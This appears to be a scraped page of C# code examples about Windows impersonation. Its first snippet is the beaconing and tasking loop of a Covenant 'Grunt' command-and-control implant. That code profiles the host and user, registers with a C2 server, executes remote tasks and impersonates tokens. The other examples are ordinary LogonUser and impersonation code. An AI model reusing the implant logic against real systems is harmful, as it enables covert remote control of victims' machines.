                int           Jitter                  = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
                int           ConnectAttempts         = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
                DateTime      KillDate                = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));
                List <string> ProfileHttpHeaderNames  = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
                List <string> ProfileHttpUrls         = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
                string        ProfileHttpGetResponse  = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostRequest  = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n");
                string        ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n");
                bool          ValidateCert            = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}");
                bool          UseCertPinning          = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}");

                string Hostname  = Dns.GetHostName();
                string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
                foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
                {
                    if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                    {
                        IPAddress = a.ToString();
                        break;
                    }
                }
                string OperatingSystem = Environment.OSVersion.ToString();
                string Process         = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                int    Integrity       = 2;
                if (Environment.UserName.ToLower() == "system")
                {
                    Integrity = 4;
                }
                else
                {
                    var identity = WindowsIdentity.GetCurrent();
                    if (identity.Owner != identity.User)
                    {
                        Integrity = 3;
                    }
                }
                string UserDomainName = Environment.UserDomainName;
                string UserName       = Environment.UserName;

                string     RegisterBody  = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
                IMessenger baseMessenger = null;
                baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls);
                baseMessenger.Read();
                baseMessenger.Identifier = GUID;
                TaskingMessenger messenger = new TaskingMessenger
                                             (
                    new MessageCrafter(GUID, SessionKey),
                    baseMessenger,
                    new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse)
                                             );
                messenger.WriteTaskingMessage(RegisterBody);
                messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
                try
                {
                    // A blank upward write, this helps in some cases with an HTTP Proxy
                    messenger.WriteTaskingMessage("");
                }
                catch (Exception) {}

                List <KeyValuePair <string, Thread> > Jobs = new List <KeyValuePair <string, Thread> >();
                WindowsImpersonationContext           impersonationContext = null;
                Random rnd = new Random();
                int    ConnectAttemptCount = 0;
                bool   alive = true;
                while (alive)
                {
                    int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
                    if (rnd.Next(2) == 0)
                    {
                        change = -change;
                    }
                    Thread.Sleep((Delay + change) * 1000);
                    try
                    {
                        GruntTaskingMessage message = messenger.ReadTaskingMessage();
                        if (message != null)
                        {
                            ConnectAttemptCount = 0;
                            string output = "";
                            if (message.Type == GruntTaskingType.SetOption)
                            {
                                string[] split = message.Message.Split(',');
                                if (split.Length >= 2 && int.TryParse(split[1], out int val))
                                {
                                    if (split[0].Equals("Delay", StringComparison.CurrentCultureIgnoreCase))
                                    {
                                        Delay   = val;
                                        output += "Set Delay: " + Delay;
                                    }
                                    else if (split[0].Equals("JitterPercent", StringComparison.CurrentCultureIgnoreCase))
                                    {
                                        Jitter  = val;
                                        output += "Set JitterPercent: " + Jitter;
                                    }
                                    else if (split[0].Equals("ConnectAttempts", StringComparison.CurrentCultureIgnoreCase))
                                    {
                                        ConnectAttempts = val;
                                        output         += "Set ConnectAttempts: " + ConnectAttempts;
                                    }
                                }
                                else
                                {
                                    output += "Error parsing SetOption: " + message.Message;
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Type == GruntTaskingType.Exit)
                            {
                                output += "Exited";
                                messenger.WriteTaskingMessage(output, message.Name);
                                return;
                            }
                            else if (message.Type == GruntTaskingType.Jobs)
                            {
                                if (!Jobs.Where(J => J.Value.IsAlive).Any())
                                {
                                    output += "No active tasks!";
                                }
                                else
                                {
                                    output += "Task       Status" + Environment.NewLine;
                                    output += "----       ------" + Environment.NewLine;
                                    output += String.Join(Environment.NewLine, Jobs.Where(J => J.Value.IsAlive).Select(J => J.Key + " Active").ToArray());
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Token)
                            {
                                if (impersonationContext != null)
                                {
                                    impersonationContext.Undo();
                                }
                                IntPtr impersonatedToken = IntPtr.Zero;
                                impersonatedToken = TaskExecute(messenger, message);
                                if (impersonatedToken != IntPtr.Zero)
                                {
                                    try
                                    {
                                        WindowsIdentity identity = new WindowsIdentity(impersonatedToken);
                                        impersonationContext = identity.Impersonate();
                                    }
                                    catch (ArgumentException) { }
                                }
                                else
                                {
                                    impersonationContext = null;
                                }
                            }
                            else
                            {
                                Thread t = new Thread(() => TaskExecute(messenger, message));
                                t.Start();
                                Jobs.Add(new KeyValuePair <string, Thread>(message.Name, t));
                            }
                        }
                    }
                    catch (ObjectDisposedException e)
                    {
                        ConnectAttemptCount++;
                        messenger.WriteTaskingMessage("");
                    }
                    catch (Exception e)
                    {
                        ConnectAttemptCount++;
                        Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
                    }
                    if (ConnectAttemptCount >= ConnectAttempts)
                    {
                        return;
                    }
                    if (KillDate.CompareTo(DateTime.Now) < 0)
                    {
                        return;
                    }
                }
            }
            catch (Exception e) {
                Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
            }
        }
Example #36
0
        protected void InitialiseToken(bool adminOverride = false)
        {
            if (Kerberos != null)
            {
                Kerberos.Dispose();
                Kerberos = null;
            }

            WindowsImpersonationContext windowsContext = null;

            try
            {
                var userToken      = IntPtr.Zero;
                var logonAsAdmin   = false;
                var logonAsAppPool = false;

                if (adminOverride || (bool.TryParse(Config.LogonAsAdmin, out logonAsAdmin) && logonAsAdmin))
                {
                    if (!string.IsNullOrEmpty(Config.DomainName) &&
                        !string.IsNullOrEmpty(Config.AdminUsername) &&
                        !string.IsNullOrEmpty(Config.AdminPassword))
                    {
                        if (NativeMethods.LogonUser(Config.AdminUsername, Config.DomainName, Config.AdminPassword,
                                                    (int)LogonType.Interactive, (int)LogonProvider.Default, out userToken))
                        {
                            windowsContext = WindowsIdentity.Impersonate(userToken);
                        }
                        else
                        {
                            throw new ApplicationException("Logon for the Administrator failed.");
                        }
                    }
                    else
                    {
                        throw new ApplicationException("Please provide Domain, Username and Password for the Administrator.");
                    }
                }
                else if (bool.TryParse(Config.LogonAsAppPool, out logonAsAppPool) && !logonAsAppPool)
                {
                    if (ServiceSecurityContext.Current == null)
                    {
                        windowsContext = WindowsIdentity.GetCurrent().Impersonate();
                    }
                    else
                    {
                        windowsContext = ServiceSecurityContext.Current.WindowsIdentity.Impersonate();
                    }
                }

                Kerberos = new KerberosToken(KerberosSPN, ImpersonationLevel.Impersonation);

#pragma warning disable CS0618 // Member is obselete, but it is required by the IBM P8 content engine API
                Service.RequestSoapContext.Security.Tokens.Clear();
                Service.RequestSoapContext.Security.Tokens.Add(Kerberos);
                Service.RequestSoapContext.Security.Timestamp.TtlInSeconds = KerberosTTL;
#pragma warning restore CS0618
            }
            finally
            {
                if (windowsContext != null)
                {
                    windowsContext.Undo();
                }
            }
        }
Example #37
0
        static void Main(string[] args)
        {
            WindowsIdentity id = WindowsIdentity.GetCurrent();

            Console.WriteLine(id.Name);
            Console.WriteLine(id.User);

            foreach (var group in id.Groups)
            {
                Console.WriteLine(group.Value);
            }

            foreach (var group in id.Groups.Translate(typeof(NTAccount)))
            {
                Console.WriteLine(group);
            }

            WindowsPrincipal principal = new WindowsPrincipal(id);

            Console.WriteLine(principal.IsInRole("Builtin\\Users"));

            // Create WindowsIdentity using token
            string userName = "******";
            string password = "******";
            string domain   = "CTS";

            IntPtr token = IntPtr.Zero;

            try
            {
                if (LogonUser(userName, domain, password, 3, 0, ref token))
                {
                    using (var idBasedonToken = new WindowsIdentity(token))
                    {
                        // We now have the WindowsIdentity for username here!
                    }
                }
            }
            finally
            {
                if (token != IntPtr.Zero)
                {
                    CloseHandle(token);
                }
            }

            // Create WindowsIdentity using UPN
            var  idUpn        = new WindowsIdentity("*****@*****.**");
            var  principalUpn = new WindowsPrincipal(idUpn);
            bool isInRole     = principalUpn.IsInRole("MyDomain\\SomeGroup");

            // Impersonation
            Console.WriteLine("Before: " + WindowsIdentity.GetCurrent().Name);

            using (WindowsIdentity identity = new WindowsIdentity(token)) // LogonUser() token
            {
                using (WindowsImpersonationContext impersonatedUser = identity.Impersonate())
                {
                    // WindowsIdentity.GetCurrent().Name will be that of impersonated identity
                    Console.WriteLine("After: " + WindowsIdentity.GetCurrent().Name);

                    impersonatedUser.Undo(); // Undo the impersonation, once done
                }
            }
        }
Example #38
0
        /// <summary>
        /// Changes user password in the backend data store.
        /// </summary>
        /// <param name="oldPassword">User's current password.</param>
        /// <param name="newPassword">User's new password.</param>
        /// <returns>true if the password is changed, otherwise false.</returns>
        /// <remarks>
        /// This method always returns <c>false</c> under Mono deployments.
        /// </remarks>
        public override bool ChangePassword(string oldPassword, string newPassword)
        {
            // Check prerequisites
            if (!UserData.IsDefined || UserData.IsDisabled || UserData.IsLockedOut)
            {
                return(false);
            }

            UserInfo user = null;
            WindowsImpersonationContext context = null;

            try
            {
                string ldapPath = GetLdapPath();

                // Create user info object using specified LDAP path if provided
                if (string.IsNullOrEmpty(ldapPath))
                {
                    user = new UserInfo(UserData.Username);
                }
                else
                {
                    user = new UserInfo(UserData.Username, ldapPath);
                }

                // Initialize user entry
                user.PersistSettings = true;
                user.Initialize();

                // Impersonate privileged user
                context = user.ImpersonatePrivilegedAccount();

                // Change user password
                user.ChangePassword(oldPassword, newPassword);

                return(true);
            }
            catch (TargetInvocationException ex)
            {
                // Propagate password change error
                if ((object)ex.InnerException == null)
                {
                    throw new SecurityException(ex.Message, ex);
                }
                else
                {
                    throw new SecurityException(ex.InnerException.Message, ex);
                }
            }
            finally
            {
                if ((object)user != null)
                {
                    user.Dispose();
                }

                if ((object)context != null)
                {
                    UserInfo.EndImpersonation(context);
                }

                RefreshData();
            }
        }
    public void Leave()
    {
        if (this.IsInContext == false) return;
        m_Context.Undo();

        if (m_Token != IntPtr.Zero) CloseHandle(m_Token);
        m_Context = null;
    }
Example #40
0
 /// Initializes a new instance of the  class and
 /// impersonates with the specified credentials.
 /// his is the name of the user account to log on
 /// to. If you use the user principal name (UPN) format,
 /// user@DNS_domain_name, the lpszDomain parameter must be null .
 /// The name of the domain or server whose account 
 /// database contains the lpszUsername account. If this parameter is null,
 /// the user name must be specified in UPN format. If this parameter is ".",
 /// the function validates the account by using only the local account database.
 /// The plaintext password for the user account. 
 public Impersonation( String username, String domain, String password )
 {
     IntPtr userToken;
     IntPtr userTokenDuplication = IntPtr.Zero;
     // Logon with user and get token.
     bool loggedOn = LogonUser( username, domain, password, LogonType.Interactive, LogonProvider.Default, out userToken );
     if( loggedOn )
     {
         try
         {
             // Create a duplication of the usertoken, this is a solution
             // for the known bug that is published under KB article Q319615.
             if( DuplicateToken( userToken, 2, ref userTokenDuplication ) )
             {
                 // Create windows identity from the token and impersonate the user.
                 WindowsIdentity identity = new WindowsIdentity( userTokenDuplication );
                 _impersonationContext = identity.Impersonate();
             }
             else
             {
                 // Token duplication failed!
                 // Use the default ctor overload
                 // that will use Mashal.GetLastWin32Error();
                 // to create the exceptions details.
                 throw new Win32Exception();
             }
         }
         finally
         {
             // Close usertoken handle duplication when created.
             if( !userTokenDuplication.Equals( IntPtr.Zero ) )
             {
                 // Closes the handle of the user.
                 CloseHandle( userTokenDuplication );
             }
             // Close usertoken handle when created.
             if( !userToken.Equals( IntPtr.Zero ) )
             {
                 // Closes the handle of the user.
                 CloseHandle( userToken );
             }
         }
     }
     else
     {
         // Logon failed!
         // Use the default ctor overload that
         // will use Mashal.GetLastWin32Error();
         // to create the exceptions details.
         throw new Win32Exception();
     }
 }